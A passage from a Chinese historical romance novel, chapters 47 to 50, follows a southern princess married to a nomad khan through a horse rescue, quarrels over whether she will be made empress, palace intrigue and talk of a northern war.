风“哗啦啦”地从明绰耳边刮过去,她只尖叫了那一声,就再不发出声音了。周围一切的景物都成了模糊的一片,飞快地从她的视角边缘里掠过。枣红马好像能感知到背上人的恐惧,奔得越发起兴,嘶叫着,非要把她甩下去似的。
有一个声音在喊她的名字,但是明绰没有办法回头。然后那声音很快就近了,乌兰徵骑在马上,口中不停地用乌兰语呼唤那枣红马,一面又对明绰喊:“勒缰!快勒缰!”
明绰哪还能勒缰绳,她全身的力气都用在不要让自己被甩下去上,已经被颠得浑身发痛。
乌兰徵一夹马肚,纵马拦到了前面。那枣红马被拦住了去路,竟然甩了个大弯,又跑去了另一个方向。原本直线狂奔明绰还能稍微坐住,这突然一个大弯,若不是乌兰徵把缰绳在明绰手上多绕了一圈,她肯定已经摔下去了。乌兰徵只好策马跟上,并辔骑在枣红马身边。他想把明绰抓过来,可是伸了几次手,那枣红马总是避开,又把两人的距离拉开。
眼看着马上的人已经被甩得身子都歪了,只怕再跑一会儿就要支持不住。她全无经验,脚还卡在马镫里,多半要被拖在地上,甚至被马蹄踩过。乌兰徵再来不及多想,突然从自己的马上侧身过去,手掌扣住了枣红马的马鞍,整个人飞身而起,顺着往前冲的力道在地上飞快地连蹬两下,借力一翻,竟然马镫都没踩,便稳稳地翻到了枣红马的马背上。
这一切只在瞬息之间,明绰感到乌兰徵像是飞上来的,从背后拥住了她,两只手臂绕过来,替她狠狠勒住了缰绳。枣红马被勒得前蹄扬起,在空中猛蹬,她被这力道一掀,往后倒去,背上却抵到了一片坚实的胸膛。枣红马嘶叫着,前蹄重重落地,终于停了下来。
第48章
明绰被乌兰徵从马上抱下来,本想自己站住,可是腿一软,又往下倒。乌兰徵一把把人抱住,一条手臂铁铸的一般,拦在腰上,竟然抱得人生疼。
明绰一是吓得还没回过神来,身上没力气,二是刚被他救了,也不好态度太差。微微挣了一下,他不放,便只好声气弱弱地说了一句:“我要吐你身上了。”
乌兰徵立刻松手。明绰倒不是吓唬人,她真的要被颠吐了,一从乌兰徵怀里挣出来就直奔旁边一条小溪。一个趔趄,十分狼狈地摔在了溪边。胃里翻了几下,却什么都没吐出来。只是脸上火辣辣的疼,像是刚才被风刮了无数道口子。
乌兰徵站在她背后问:“不会骑马为什么逞强?”
明绰闭了闭眼,拂了拂自己被风吹乱的头发,深呼吸了两下。既站不起来,便在溪边坐好。看在乌兰徵刚才救了她的命的份上,她决定把这句话忍过去。
“没有逞强。”明绰转过脸,“我不是已经跟陛下说不比了吗?”
明明是贺儿冲使坏惊了马。
但乌兰徵还是说:“既然不会,一开始就不该上马。”
明绰狠狠翻了个白眼。这事儿她确实是失策了,那也不用乌兰徵在这儿说风凉话。也不知道他这人是真的不太会说话,每每三句话之内就能勾出一股邪火,让她的理智荡然无存。但她瞧着他殿上与群臣应酬,这不是一套一套的很会么?他能驭下,就不可能是真的不知道怎么跟人好好说话。偏生到她这里就总惹她生气,肯定就是故意的!
明绰环顾四周,枣红马不知道已经把他们带到了哪里,早已看不见马场中的凉亭,四周也都稀稀拉拉有了树影,恐怕都不在御林苑内了。她想转头回去,又不知道能怎么回去。她是绝对不可能再上马了。两人就这么僵着,明绰越想越气,突然抄起了手边一块石头,用力向乌兰徵抛去。
乌兰徵偏头一躲,微微睁大了眼睛。明绰马上又抄起一块石头,还想再扔。乌兰徵干脆往前两步,先发制人地抓住了她的手腕。
“这又是为什么?”乌兰徵问得真心实意,“我现在没有对你做什么吧?”
上次扔砚台还可以理解,这会儿又算什么?行刺么?
“因为我讨厌你!”明绰说完这句话就觉得自己很孩子气,脸都有点儿发烫。但既然说出口了,便不管不顾起来,又恶狠狠跟了一句,“我从来没有这么讨厌过一个人!”
乌兰徵也从来没有这样被人讨厌过。他一时怔住,也坐在了地上,看着明绰,非常困惑地眨了眨眼。
“那你为什么要嫁给我?”
“又不是我自己愿意的!”
“是你自己愿意的。”乌兰徵很讲道理的口吻,“你皇兄根本就不想送你过来,是你执意请求的。”
“我……!”
明绰噎住了。这都是事实,她讲不出话反驳。无法言说的委屈比刚才那股作呕的冲动还要猛烈地翻上来,明绰忍了又忍,眼泪还是突然涌了出来。
乌兰徵这下是真的不明白了,皱着眉头看着她:“你既然这么讨厌我,我不立你为后不是应该正合你意么?”
“你混蛋!”明绰狠狠地一抹眼泪。
同样是嫁,却少了皇后的尊荣和权力,明绰才不信他这么简单的账都算不明白。
乌兰徵都让她骂愣了,语气有些哭笑不得:“那……我把你送回建康?”
“不行!”
“那你到底要我怎么样?”
明绰抬起一双泪眼,气冲冲的:“立我为后!”
乌兰徵笑了。从来没有谁用这样的态度,这样直白地跟他提这样的要求,他一时之间除了笑,竟想不出别的反应。
“你这么讨厌我,还非要做我的皇后?”
明绰别开脸:“这跟我讨不讨厌你没关系!”
乌兰徵:“那跟什么有关系?”
明绰觉得他还是在揣着明白装糊涂,不想跟他说话,自己坐在溪边掉眼泪。她也知道在他面前大声哭很丢脸,所以不发出声音来,只是咬牙切齿,手都握成了拳,哭得无声又全力以赴的。乌兰徵用视线在她周围飞快地扫了一圈,确定没有顺手的小块石头了,才在她面前坐了下来。
他并不说话,等着她自己平复下来。
明绰从前不怎么跟萧盈使小性子,但真要气到这份上了,萧盈绝不会不哄的,只怕早已十八般手段使尽,先把错认个遍。但乌兰徵不哄,明绰反而也不好意思哭了。她在他沉默的注视里抽抽鼻子,理智终于慢慢回笼。
乌兰徵是亲自上阵领兵的雄主,想来不是可以随意被冒犯的人。她气也撒了,骂也骂了,石头都朝他扔了两颗,全然不把这个皇帝放在眼里,他竟也没跟她生气,看来叱云额雅说得不错,乌兰徵的脾气其实不坏。
这是她第一次有机会跟乌兰徵好好说话,明绰泪痕未干,脑子里已经飞快转起来,她应该跟自己的夫君说什么?
她想起方才段太后的话。明绰当时听得心里舒畅,但她又不傻,不会真的以为段太后想看到乌兰徵自取其辱的那一天。如果乌兰徵是被迫才立她为后,对谁都没有好处,她的日子难过不说,两朝也肯定一有机会就会打起来。太后说得四两拨千斤,一面
哄她高兴,一面也有试探和敲打之意。她若只听了表面一层意思,那便是真的不配做这个皇后。
说到底,乌兰徵当庭反悔,不是他不懂事、耍脾气,而是因为东乡公主的态度直接代表了大雍皇帝的态度。
不懂事、在耍脾气的那个人,其实是她。
这样不行的。明绰在心里暗暗地下了决心。她不能再夜夜自怜,夜夜痛哭。乌兰徵跟段太后有私情又如何?温峻趁他不在与太后私通,他都能重用此人,她又有什么好闹的?既然已经嫁了,最重要的目的就是两朝和平,如果反而因为她的意气用事,两朝埋下了仇怨的种子,那她受的这些委屈还有什么意义?
“陛下误会了我皇兄,”明绰很认真地斟酌了一下字句,“拖延两年,只是因为我母后舍不得我,是和段太后商量过的!我皇兄是诚心与大燕修好,并无西征之意。”
乌兰徵的表情就好像他终于等到她说这些话了:“他封了我阿耶长安王,会不想西征?”
“当年做主的是谢太尉,不是我皇兄的意思。”明绰说得十足诚恳,这确然是一句实话,“皇兄一直希望燕雍两国能互不相犯……”
乌兰徵不以为然地一哂:“他有个战死长安的父皇,怎的会这样没有出息?”
明绰并未被激怒,反而道:“因为我皇兄和陛下一样,有这世上最宽广的心胸。”
乌兰徵终于微微正色。
明绰说得十分郑重:“自前梁失地,中原战乱已逾百年。小时候我与皇兄学诗,学到‘十五从军去,八十始得还’,心中都很怆然。皇兄每每读到‘一时羹饭熟,不知贻阿谁’都要叹气。可拔都将军接我入长安,我见一路十室九空,满目残破,岂不比诗中更凄凉?陛下愿意消弭朝中胡汉成见,焉不知风急云涌,恰逢其会,我皇兄亦有与陛下同辉之心?”
明绰顿了顿,想起温峻方才与她说的话,又道:“纵有霸业一统,死去的人却是再也回不来的。这代价我皇兄不愿意付,也不希望陛下再承受更多这样的痛苦。”
一片寂静,明绰抬起头,看见乌兰徵一双蓝色的眼睛十分幽深地看着她。明绰本来还想接着说下去,可是被他这么一看,突然就没话了。
她说的也算都是实话,萧盈确实没有非要收复长安的执念,小时候读诗叹气也是真的,但绝对没有她说得这么温良。什么同辉不同辉的,萧盈肯定不是这么想的,长安不动则矣,若有南犯之心,他一定把乌兰徵往死里打。
乌兰徵明显也没信,就这么看着她,当真像狼,能一下子看透她整个人。
“说完了?”
明绰突然感到口干舌燥,有一种无计可施的无措。但转念一想,她又没有骗人,她想要大燕胡汉相融,也想要燕雍两国能和平共处,这份心是至诚的。她很确定,这也是乌兰徵想要的,便有一股底气从心底生出,无畏地看着他。
乌兰徵突然笑了,拍拍膝盖站了起来。明绰不自觉视线跟随,仰头看着他。乌兰徵朝她伸出手,明绰犹豫了一下,把手放进了他掌心,乌兰徵一把把人拽了起来,力道大了些,又把人拽进了怀里。乌兰徵手臂是松的,做好了明绰挣开他的准备,但她竟然没动。他一低头,闻到了她发间的香气,便没把人放开。
明绰心里一动,感觉她说的话好像还是起了作用。
乌兰徵突然低声道:“我教你骑马。”
明绰意外地抬起头:“啊?”
“不想学?”
明绰赶紧答应:“学。”
乌兰徵看定了她,突然皱起眉,缓缓地挨近了。明绰心里跳得厉害,方才脸上就有点儿烫,这会儿更是烧起来一般。她本能想躲,又不想这时候再功亏一篑,只好强自按捺住,垂着眼睛,等他吻下来。
但等了一会儿,什么也没发生。明绰没忍住抬眼,看见乌兰徵一双蓝眼睛里映着自己,专注而又困惑,开口问道:“脸怎么了?”
明绰:“……”
她倒吸一口冷气,终于想起来为什么脸上烫得这么难以忍受。她猛地推开了乌兰徵,赶紧到溪边照了照,一面伸手去摸,颊边已经起了一片疹子,赶紧往脸上泼水,想洗干净。
乌兰徵走过来,掰过她的肩膀看她的脸。清水无法洗净妆面,倒是弄得更加斑斑驳驳。他沉默了半刻,非常诚实地说:“不如不洗。”
明绰大窘,抬起脚狠狠在他脚背上踩了一下。乌兰徵的马靴又厚又硬,根本踩不疼他,他便没躲。马蹄声就在这个时候突然传来,想是贺儿库莫乞带人找来了。明绰急得“哎呀”一声,伸手捂住了自己的脸。
让这些西海人看出她不会骑马也就算了,要是还被他们看到脸上这样,岂不成了笑话了?
乌兰徵突然把人一拽。明绰还没反应过来,已经被他摁倒在地上,还伸手把她头上仅剩的一根钗也拔了,揉乱她的头发。明绰奋力反抗,但腰上一条衣带被她自己解了当襻膊,本来就不甚牢,她这样一挣扎,襟口顿时开了。乌兰徵竟也没占她便宜,只是把两只手都撑在她身侧,触着大地。
马蹄震动地面,逐渐向他们靠近。
乌兰徵根据马蹄声算距离的本事是在一场场战役里累积出来的,掐得非常准,正卡在来人能看见他们,又看不太清的距离里起了身。贺儿库莫乞看见两人从地上坐起来,萧夫人还衣衫不整,果然立刻勒住马头,连声喝停。
“可汗!”贺儿库莫乞的声音明显带着笑意,远远地喊了一句。乌兰徵头都没抬地下了道令,一群人得了令,立刻往后撤,撤到都看不清人影了才停下来。
明绰马上坐得离乌兰徵远了一些,一张开嘴,很明显又想骂人。但是乌兰徵朝她看了一眼,明绰想了想,就把话咽了回去。
她觉得乌兰徵很是没必要如此。他直接下令不许过来,贺儿库莫乞也不会上前。但之前他殿上毁约,没立她为后,齐木格他们都得意。如今便正好借贺儿库莫乞的嘴回去说,萧夫人还是深得可汗的宠爱,便算是弥补了当日殿上之辱。
虽说这个方式她并没有那么喜欢,但她心里很清楚,此举有效。汉人势力与乌兰权贵之间此消彼长,其实都是看乌兰徵的态度。她讨来这些西海少年人的喜欢终究只是锦上添花,宫廷中权力最根本的来源还是只有掌权者的宠爱。这一点,她从很小的时候就已经知道了。
她竟不恼,乌兰徵反而有些意外。明绰让他盯得不自在,只好道:“太后这下高兴了。”
果然不是个笨的。乌兰徵笑了笑,又问:“是她让你教那帮孩子们下六博棋的?”
“我自己想的。”
乌兰徵没搭话,等着她进一步解释。明绰只好往下说:“弈棋赌钱,不过是图个有趣,换成赛马骑射也是一样——陛下办跑马会不就是这个意思吗?要消弭‘非我族类’的成见,就要先玩到一块儿。交了朋友,便会学彼此的穿衣打扮……”
乌兰徵看着她说话,想起殿上初见她那副神态。那时他以为大雍的公主傲慢骄纵,理所当然地认为蛮夷就该匍匐在她脚下。
他自语一般:“我竟看错了。”
明绰抬眼:“什么?”
“没什么,”乌兰徵笑笑,“你接着说。学穿衣打扮,然后呢?”
他一边说,一边不自觉地低头去看她身上的乌兰骑装。明绰只顾说话,襟口就又开了,她误会了他的眼神,红着脸去捂,说话的声音一下弱了下去:“学了穿衣打扮,自然就再学饮食玩乐,说话行事……所谓教化礼法,无非吃、穿、言、行,耳濡目染……耳濡目染之下……”
她说不下去了,乌兰徵也没在听。她羞怯的神态像是一根羽毛,拂得乌兰徵心痒。不过他虽爱美人,却并不一味好色。美人都朝他扔砚台了,若是强求,恐怕格调太低。大雍公主傲气,他也不是凡夫。乌兰徵注意到她的不适,便别过了脸,一副非礼勿视的表情。
明绰赶紧把衣服重新整理好,脸红得不自然,乌兰徵看不出来她是害羞还是真恼。现在他也有些被明绰弄糊涂了,方才在他怀里有那么一刻,她分明是等着发生什么的。
“谁是你的情郎?”乌兰徵打断了她的“耳濡目染”,突然又问,“袁煦?还是他兄弟……叫什么来着?”
袁煦当初夜渡偷袭,一战成名,大燕朝廷对这个人一直紧密关注。但袁煦既已娶桓氏女,萧明绰恐怕不会这般自降身份,多半是他兄弟。
可他兄弟没在战场上出过名,乌兰徵心中难免升起不屑,看来不是什么厉害角色,他早晚取而代之。
“你管他是谁?”明绰原话扔还给他,“我皇兄不是都已经把我嫁给你了么?”
“原来你还记得已经嫁给了我。”
明绰拍拍身上的土站了起来,不愿搭理他这话。乌兰徵拉住了她的手,仰头看着她:“不谢我吗?”
他也不说是为了哪件事谢。是马上救了命,还是在贺儿库莫乞面前做了副样子。但这两件事都没什么好谢的,明绰感觉那股邪火又要被他勾上来了,甩开他的手没好气道:“等你立我为后那天再谢你!”
乌兰徵哈哈大笑。萧明绰年龄比他小了许多,她发脾气,他只觉得孩子气,没必要跟她较真。但她见事极明,又让人觉得把她当成小孩子倒是看轻了。更难得的是聪明人的坦荡,这是一种介乎孩子与大人之间的灵巧。乌兰徵喜欢这种灵巧。
乌兰徵也站了起来,把刚才拔下的钗还给了明绰。
“那就等你不讨厌我那天,我便立你为后。”
明绰看了他一眼,那意思像是在说,她现在就可以不讨厌他。她不自觉地已在模仿段太后看温峻的神情,若是平时,这一眼恐怕能看得人心旌荡漾,偏偏这会儿她脸上已经不成样子,头发也乱糟糟的,狼狈得像一只刚穿过暴风雨的猫头鹰,故作这般风情姿态,乌兰徵笑得就更厉害了。明绰又羞又恼,一跺脚,从他手里接过金钗,扭头就走。
不行,这人还是太讨厌了!
第49章
长安水土与建康大不相同,本就极干冽,明绰这回脸上的红疹是比在家时严重得多,起疹不算,甚至还肿起来了,吓得明绰悔之不迭。段太后听说这情形,赶紧给她请了大夫。大夫让日日以洗米水敷脸,足足洗了小半个月,才总算是勉强能见人了。
这虚惊一场倒有一个好处,叱云额雅不生她的气了。萧夫人与可汗在马场幕天席地那事儿已经传得所有人都知道了,叱云额雅也没要她再喝那避子汤。见到她脸成了这样,叱云额雅简直比明绰自己还着急。一开始梁芸姑还是对她十分戒备,明绰只好两头说好话哄着,两人看着她颊上肿得眼睛都睁不开了,又可怜又好笑,最后总算看在她的面子上握手言和。
但明绰想叱云额雅为何要喝避子汤,她却总是装傻搪塞,不肯说了。问急了,她只没头没尾地说了一句,“你是雍国的库尊,不一样。”那神色竟是十分难过。最后明绰半是威胁着要去告诉太后,叱云额雅才真的着了急。明绰见她眼泪都掉下来了,只好赌咒发誓绝不说出去。
明绰想了想,又告诉她:“可是太后跟我说,可汗希望你能给他生下长子呢。”
叱云额雅听了这话脸都白了。明绰说这话原是想让她高兴,没想到她竟是这个反应,便伸手去拉她,谁知叱云额雅像被烫到似的,一下子把手缩了回去,简直是失魂落魄一般,匆匆搪塞了两句,便走了。
明绰怎么想也想不明白,最后还是梁芸姑说,很多女人都是难产死的,说不定叱云额雅的母亲便是其中之一,她如此害怕,也是情理之中。
“可是叱云部只是一个小部落,”明绰替姐妹着想,“西海人一向是长子继承,她若是能生下乌兰徵的长子,不就有依靠了吗?”
梁芸姑没急着说什么,只是笑了笑。明绰让她笑得莫名其妙:“你笑什么?”
“笑长公主长大了。”梁芸姑道,“想事情和以前不一样了。”
明绰皱了皱眉,也不知道这算好话还是坏话,就听梁芸姑又说了一句:“从前一向是立长,以后就不一定了。”
既然娶了大雍的公主,又一心推行归汉的政策,说不定以后也跟汉人一样,光是长子没用,要立嫡。
“我的儿子?”明绰反应过来了,然后突然之间被一个之前从来没有想过的事实所击倒——她也得生孩子啊!
明绰本来还觉得叱云额雅的恐惧不应该压过对利益的考量,到自己头上了一下也怕了,突然道:“不行,我也备上那避子汤吧!”
“胡说,”梁芸姑轻斥了她一声,“那东西喝下去伤身,叱云夫人自己不也病了一场么?”
“那总比难产好吧!”
“又不是所有女人都会难产的。”梁芸姑说着,自己先啐了一口,“长公主别说不吉利的话。”
明绰托着腮,又琢磨了好一会儿,突然问:“乌兰徵怎么没有孩子呢?”
梁芸姑都笑了:“没有孩子难道不好么?”
明绰从镜中看她:“可他都二十四岁了。”
“咱们中书令不也是二十好几才得了星娥小姐的吗?”
“那是舅舅被耽搁了,成婚晚。”
“可汗也没少被耽搁。”梁芸姑安慰她似的,“长公主算算,他从十二岁就跟着父亲南征北战,大可汗一走,他立刻就又去西海讨逆,哪来的功夫生孩子?”
明绰小声嘀咕了一句:“又不用他自己怀胎十月。”
梁芸姑没听清:“什么?”
“没什么。”明绰掩饰了一下,心想南征北战也没耽搁他跟段太后……但是这个念头一冒出来她就强行地摁了下去。段太后已经另结新欢,旧情断没断的,她也没处知道去。明绰决定学他们的样,揣着明白装糊涂。她和乌兰徵谋求的大局一致,日子便能过下去,其余的,不能去细想。
梁芸姑不知道她在想什么,继续往下说:“而且,可汗也不怎么沉迷女色。”
明绰当即冷笑一声,这后宫里的女人她光是每个都去认识就花了快一个月,这还不叫沉迷女色?
梁芸姑知道她在冷笑什么,好声好气地跟她说:“这后宫里好多都是原本大可汗的女人,也就是叱云夫人还年轻,其余的,可汗也就是收留罢了,哪会真的去宠幸?各方势力送来的那些女子,可汗也没见过。你看他回来了以后,除了头两天见了见叱云夫人,都是自己一个人宿的。若是疑心他在西海宠幸了别的女子,也不见他带了什么人回来……”
明绰有一搭没一搭地听着,心里只想,那他倒还对小继母怪痴心的。心里这个声音一冒出来,就把自己吓了一跳。这声音怎么会这样酸溜溜的?
“别说了。”明绰有些不高兴地打断了梁芸姑,“你怎么突然这样替他说话?”
梁芸姑一怔,也不知道她的火是哪里来的,半晌才笑了笑,干脆把话挑明了:“可汗还是很喜欢长公主的。”
明绰站起来:“喜欢他还不赶紧立后?”
她这几天虽然不出门,但是都听说了。长安最近出了一桩大案,有个匹夫竟然妄想行刺丞相,一查之下才知道,齐木格放任自己的手下夺了这人的地,这人不服,连妻儿的性命都枉送了,这才逼上了绝路。乌兰徵采纳了太后的谏言,下令杀了齐木格的手下,申斥了几个乌兰权贵,不叫他们再肆意圈地。这头把老叔叔们得罪了,乌兰徵就不好意思马上提要立汉人皇后的事儿了。
拖拖拉拉的,想起来就让人生气。还不是因为当初能直接立皇后的时候他非要闹那一出么?乌兰徵还不承认是他忌惮老叔叔们,非说是因为明绰还讨厌他。
这些日子他也来看过明绰,之前明绰脸上还没好,只肯躲在屏风后跟他
说话,话讲得不客气,乌兰徵也不跟她生气。梁芸姑全听在耳朵里,觉得这跟打情骂俏也没什么两样,顿时看乌兰徵哪哪儿都顺眼多了。
明绰不肯从屏风后出来,乌兰徵说完了话就还是走了。梁芸姑不放心,生怕他又跟上次一样转头就去叱云额雅屋里。但是跟出去看了看。叱云额雅听见乌兰徵的声音就出来跟他说了两句,许是想邀他进屋。宫中女子来了月事都会在颊上点朱砂,乌兰徵看见叱云额雅颊上一点红,就只在门口说了两句话便走了,瞧着冷冷淡淡的。
明绰站起来去坐在了书桌边,梁芸姑便又跟上,继续跟明绰说话:“我看可汗跟叱云夫人也没多少感情。”
明绰端起一本书隔绝视线:“不是你去打听来的,说他最宠爱的就是额雅吗?”
梁芸姑十分勇于认错:“想是我打听错了。”
明绰把书放下,给了她一个无奈又责备的眼神。
梁芸姑:“我仔细盘算过了,可汗纳叱云夫人怎么也是父亲驾崩以后的事情,景平十三年,咱们太后下令桓大将军来讨伐长安王的时候,可汗就已经去西海了。这满打满算,宠爱也就宠爱了两三个月,少年人一时情热,哪经得起一别三年……”
明绰轻声喝止了她:“芸姑。”
梁芸姑停下来,明绰避开她的视线,只道:“以后不要说这样的话了,我心里不会有他,也不在乎他心里有谁。”
梁芸姑好一阵都没说话。明绰知道自己话说得有点重,只好低着头假装看书。这是温峻转译的西海神话与志怪故事,她这两天读得很入神,偏偏此刻一个字也看不进去。过了一会儿,她感到梁芸姑走过来,轻轻地把手搭在了她的肩膀上。明绰放下书,投进了她的怀抱。
“长公主,”梁芸姑摸了摸她的头发,声音很轻,“你不能再想他了。”
冤枉,她没有想萧盈。可是她这样一说,明绰就感到心里天塌地陷似的,就剩一片废墟。她原本可以一门心思恨萧盈,可偏偏他还是她的皇兄,她还要在自己的丈夫面前维护他,替他辩白,说他的好。她发现自己说那些话的时候都特别真心,一点儿都不恨了。但是她怎么能不恨他呢?她如果不恨他,就无法逼迫自己面对眼前了。
“我没想他。”明绰的声音闷闷的,“我就是不想以后再伤心了。”
她从梁芸姑的怀里挣出来,仰头朝她笑了笑:“你别担心,我知道嫁了人该做什么,下次不会再把他赶出房间了。”
乌兰徵的声音突然从外面传进来:“这可是你说的。”
明绰整个人跟离弦的箭似的,一下子又蹿到了屏风后。乌兰徵走进来,只看见梁芸姑站在书桌边上,脸上忍不住的笑意。他便朝梁芸姑点了点头:“梁夫人。”
其实梁芸姑没嫁人,“夫人”也不是什么女官的职位,究竟是乌兰人弄不太明白汉人的称呼,都叫混了。但梁芸姑也没介意,笑着说了一句:“可汗来了?我去给可汗奉茶。”
朝中汉人若是说汉话,大多称陛下。梁芸姑也是混着叫,乌兰徵也就随便听,只道:“不用忙了。”他喝不惯汉人的茶,要么淡而无味,要么发苦。喝了晚上还睡不着觉。梁芸姑便告退,走的时候还是一人一句“可汗”和“夫人”,说得乱七八糟的,明绰站在屏风后听,突然笑了一声。
乌兰徵也不理她在笑什么,还跟上次一样,坐在了面对屏风的椅子上,语气淡淡的:“早晚叫人拆了你这架屏风。”
“你敢?”明绰的声音从屏风后传来,“这是我从建康带来的嫁妆,又不是你的东西!”
乌兰徵闻言忍不住在房间里环视了一圈,他原先竟没注意,这屋里所有的陈设器物都和乌兰人的不太一样。他刚回来就听说了,公主的嫁妆到了长安都没处搁,太后专门辟了一殿给她,看守的都是她从建康带来的人,说起来可是人人都咂舌。
乌兰徵突然说:“早知你如此财力雄厚,该来找你讨军费。”
明绰一口回绝:“你阿耶都没动过太后的雍州军,你竟然打我嫁妆的主意,好不要脸!”
乌兰徵让她骂了也只是笑。这小丫头原先再怎么骄傲,嘴里都有礼数,现在是越骂越放肆了。听见他笑,屏风后的人影又动了一下,突然问:“怎么又要筹军费了?”
乌兰徵唇角笑意微敛,没说话。屏风后透出一双眼睛来,看着他的神色,见他沉默,便走了出来:“要东征?”
乌兰徵摇了摇头,只道:“是北边。”
对建康来说,大燕就已经是“北”,再往北,明绰就不知道是什么地方了。乌兰徵定定地看了她一会儿,突然用乌兰语说:“过来。”
明绰便走到了他身边。她一开始很不喜欢乌兰徵跟她说话的语气,有种命令的感觉,后来发现好像跟说的是汉话有关系。他的汉话虽然已经比明绰遇到的大多数西海人好,但还是僵硬的。换成乌兰语,哪怕是同样的指令,吐字也有一种特别的柔软。乌兰徵很快就发现了她吃这套。
明绰坐到他身边,乌兰徵往前倾了倾身子,更仔细地看了看她的脸。明绰的脸差不多已经完全恢复,只是有疹子的地方还有些肤色斑驳。他用手指轻轻触了一下她的颊边,明绰缩了一下,乌兰徵便不强求,仍旧把手收了回来。
“他让你很伤心吗?”
明绰心里一惊,原来他在外面都听到了,还好梁芸姑没说到底是谁。她掩饰了一下神情,只当没听见。
“北边是谁?”
乌兰徵笑了笑,看在眼里,但没戳破她,回答她:“贺阆。”
明绰“哦”了一声,好歹还是个听说过的:“不是有乌拉山阻隔吗?”
“乌拉山也是可以翻过去的。”乌兰徵看了一眼她的表情,便干脆给她从头解释了一遍,“屠珲部的兵力已经随着拔拔真东迁,但还是有很多不能打仗的老弱妇孺留在西海老家。贺儿库莫乞奉了我的军令去……”
他微妙地顿了顿,似是找不到一个合适的词,又或者不想把那个词当着她的面说出来。明绰眉间一跳,一下子明白过来——贺儿库莫乞去把那些老弱妇孺都屠了。
“有一支逃了出去,贺儿库莫乞一路追杀,把他们驱逐进乌兰山深处,随他们自生自灭了。但是这一支族人活了下来,翻过乌拉山抵达贺阆……”乌兰徵用手指在桌上划了一道,便是乌拉山,然后一边说,一边继续划出一块地,便是贺阆,“他们向贺阆王哭诉,贺阆来使,谴责我……”他顿了顿,这回是真的找不到合适的翻译,所以就原话说了一个明绰听不懂的词。
明绰意会了:“伤天害理。”
乌兰徵发出一串低沉又柔和的轻笑,他微微垂着头,手指还在桌上比划着漠北的位置,烛光不甚亮,在他棱角分明的脸上勾出柔和的一道边,看起来一点儿也不伤天害理。
明绰不自觉地开始拉偏架:“可是关贺阆王什么事?”
乌兰徵抬起眼看她:“他心善,见不得我伤天害理吧。”
明绰感觉被他调侃了,没好气地推了他一把。乌兰徵便道:“贺阆这些年不断往东蚕食,已经把漠北的诸多小部落扫干净了。”
他的手从那个“漠北”的位置轻轻往下,那就是大燕的北部防线。明绰听懂了,无论是乌拉山还是漠北,都不是好走的路。贺阆既然排除万难地派了使者来,肯定不会只是为了骂乌兰徵两句。
“贺阆王出兵啦?”
“还没有,”乌兰徵终于把手放下了,“若要出兵,当在今夏。”
等天冷下来,漠北寸草不生,严寒逼人,难以行军。在西海的时候贺阆使者就来了,乌兰徵心里一直提防着,乌拉山天险,比漠北的草原还要难走,贺阆要出兵,只会选择北镇一线。西海平定以后,他就想着要往北线增兵了。
明绰长叹了一口气。这么说,她就明白乌兰徵为什么突然对齐木格发作了。新生的大燕虎狼环伺,处处都要用兵,处处都要钱,权贵们却以为天下已定,只顾往自己兜里揣。
她想得出神,没发觉乌兰徵一直盯着她看。明绰猛地回过神来,让他盯得不自在:“看什么?”
乌兰徵却只是笑笑,突然问她:“还
讨厌我么?”
明绰被他话里暗示的意味打了个措手不及。这原先是说立后的事情,但他这样的语气,这样的神色,加上刚才她说“下次不会再把他赶出房间了”,就有了别的意思。于是她咬住了下唇,竟不知道说什么才对。
乌兰徵神色了然,只道:“那就只好再等等了。”
明绰一愣:“啊?”
“我要亲自去一趟北镇。”
明绰下意识皱紧眉头。若说是贺阆王已经出兵,他亲自去还情有可原,如今只是未雨绸缪,也要他亲自去吗?难道大燕就没有可用的将领了吗?
乌兰徵看着她的神色,突然往前一倾:“舍不得?”
明绰往后避了避,突然道:“你是不是想躲?”
乌兰徵的眉峰高高一挑:“什么?”
“太后和丞相啊。”明绰想通了,忍不住带了笑意,“丞相吃了个亏,又是太后谏的言,不是拿汉学的事情在发作呢么?他们吵得不可开交,所以你要找个借口离开长安……”
她话还没说完,乌兰徵已经很不高兴地说了一句“没有”。可他越是这样,就说明她猜对了。明绰像是发现了他极大的秘密,高兴得一拍手掌,笑个不停。乌兰徵看起来积威甚重,成竹在胸的,原来遇到解决不了的事情也会逃。
明绰越笑,乌兰徵的眉毛就皱得越紧,突然伸手到她腰上,明绰还没反应过来,已经被他抱起来放到桌上,且十分有先见之明地把明绰能摸到的茶具先扫落在地。
明绰抬脚就踹他:“我的白瓷!”
乌兰徵一把握住她的脚腕,不说话,但是整个人极具威压地倾下来,几乎鼻尖相触。明绰想往后躲,但再躲就要躺到桌上,那似乎会成为某种允许的姿势。她心里发倔,便不肯动。乌兰徵反而停在离她寸许的地方,也没再往前。
明绰看着他近在咫尺的眼睛,轻声道:“纸老虎,我不怕你了。”
梁芸姑听见瓷器碎裂的声音,已经急匆匆进来:“怎么了——哎呀!”
她立刻转身想告退,但是明绰出声留住了她。梁芸姑又不好回头看,又怕两人茶壶都砸了是又吵起来了,可汗会把他们家长公主怎么样。一时走也不是留也不是,只能背对着他们站着。乌兰徵又看了明绰一会儿,突然把人松开,若无其事地退了一步,只道:“早些休息。”然后便跟没看见梁芸姑似的,出去了。
第50章
梁芸姑躬身行礼,一直到人走出去了,才看见明绰正蹲在地上,收拾摔碎了一地的白瓷。她赶紧抢上去替她收拾,明绰便让开了两步,坐在桌边,心疼得直嘬牙花子。
混蛋乌兰徵,这可是越窑上供的上好瓷器,蛮人果然不识货。
梁芸姑只是笑,瞧她还能为了一盏茶具嘬牙,想来乌兰徵没把她怎么样。一时自收拾了去扔掉,明绰独自坐了一会儿,先是琢磨了一下贺阆王,然后又想了想齐木格和段太后的这一场冲突,最后摇了摇头,也不想了,接着把刚才就翻出来的那本书继续往下读。
让乌兰徵闹了这么一场,反而读得进去了。明绰对于阿瓦神女的故事尤其感兴趣,段太后那日随口一提,其实只讲了一点。温峻转译的许多故事里,阿瓦神女不仅仅是一个母亲的形象,还是勇猛的战士和公正的判官。她并非一味不许孩子们争斗,若部落之间非要起战事不可,就要在出征前祭祀牛羊,请巫祝陈情,若情由正当,阿瓦神女便会降下吉兆,护佑正义之师得胜凯旋。反之,则必受灾祸,兵毁人亡。
西海人自己没有史书,大多数事情都是口口相传。温峻细心搜罗,虽为传奇志怪,但也有立传之心,把一些好几百年前的知名战事也写上。胜了的,西海人便说是神女降过福,输得特别惨,甚至整个部落都灭亡的,便会认为是违逆了神女的意愿。不过温峻自己并不相信,在行间批注,说这些都是“以果推因,后人缘饰”。
